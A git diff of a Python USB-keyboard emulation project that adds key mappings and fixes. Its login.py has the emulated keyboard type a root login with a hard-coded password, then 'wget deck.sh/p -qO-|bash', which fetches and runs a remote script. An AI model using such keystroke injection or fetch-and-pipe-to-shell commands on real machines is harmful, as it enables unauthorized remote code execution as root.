diff --git a/__pycache__/kb.cpython-37.pyc b/__pycache__/kb.cpython-37.pyc index 809b832..2fa85fd 100644 Binary files a/__pycache__/kb.cpython-37.pyc and b/__pycache__/kb.cpython-37.pyc differ diff --git a/input.py b/input.py index 268002f..3e66ce3 100755 --- a/input.py +++ b/input.py @@ -7,9 +7,15 @@ from getch import _Getch get = _Getch(); while True: input_key = get() - print(input_key) + print(input_key + ": " + str(ord(input_key))) if input_key == "?": break + if ord(input_key) == 127: + write_special("BACKSPACE_DELETE") + continue + if ord(input_key) == 9: + write_special("TAB") + continue if ord(input_key) == 27: print("Special key detected!") key = [x for x in "ABCDE7890134~2"] @@ -28,6 +34,7 @@ while True: if num == 14: print("pressing prtscr / sysrq") write_special("PRINT_SCREEN") + get() continue print("pressing F" + str(num)) write_special("F" + str(num)) diff --git a/kb.py b/kb.py index 27fb08c..74c0014 100755 --- a/kb.py +++ b/kb.py @@ -51,17 +51,27 @@ def write_str(word): if letter == "~": letter = "`" write_caps(keycodes.keycodelst[letter]) + write_report(NULL_CHAR*8) + continue + if letter == "_": + letter = "-" + write_caps(keycodes.keycodelst[letter]) + write_report(NULL_CHAR*8) + continue if letter == "|": letter = "\\" write_caps(keycodes.keycodelst[letter]) + write_report(NULL_CHAR*8) continue if letter == "!": letter = "1" write_caps(keycodes.keycodelst[letter]) + write_report(NULL_CHAR*8) continue if letter == "*": letter = "8" write_caps(keycodes.keycodelst[letter]) + write_report(NULL_CHAR*8) continue if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z': #print(letter.capitalize(), letter) @@ -75,7 +85,7 @@ def write_str(word): try: write_char(keycodes.keycodelst[letter]) except: - print("Unsupported keycode! Ask Cole Deck to add support.") + print("Unknown keycode") finally: write_report(NULL_CHAR*8) diff --git a/login.py b/login.py index 88c0504..c7ccd55 100755 --- a/login.py +++ b/login.py @@ -6,5 +6,5 @@ write_str("root\n") sleep(0.5) write_str("qwertypass\n") sleep(2) -write_str("dwget deck.sh/p -qO-|bash\n") +write_str("wget deck.sh/p -qO-|bash\n") sleep(1)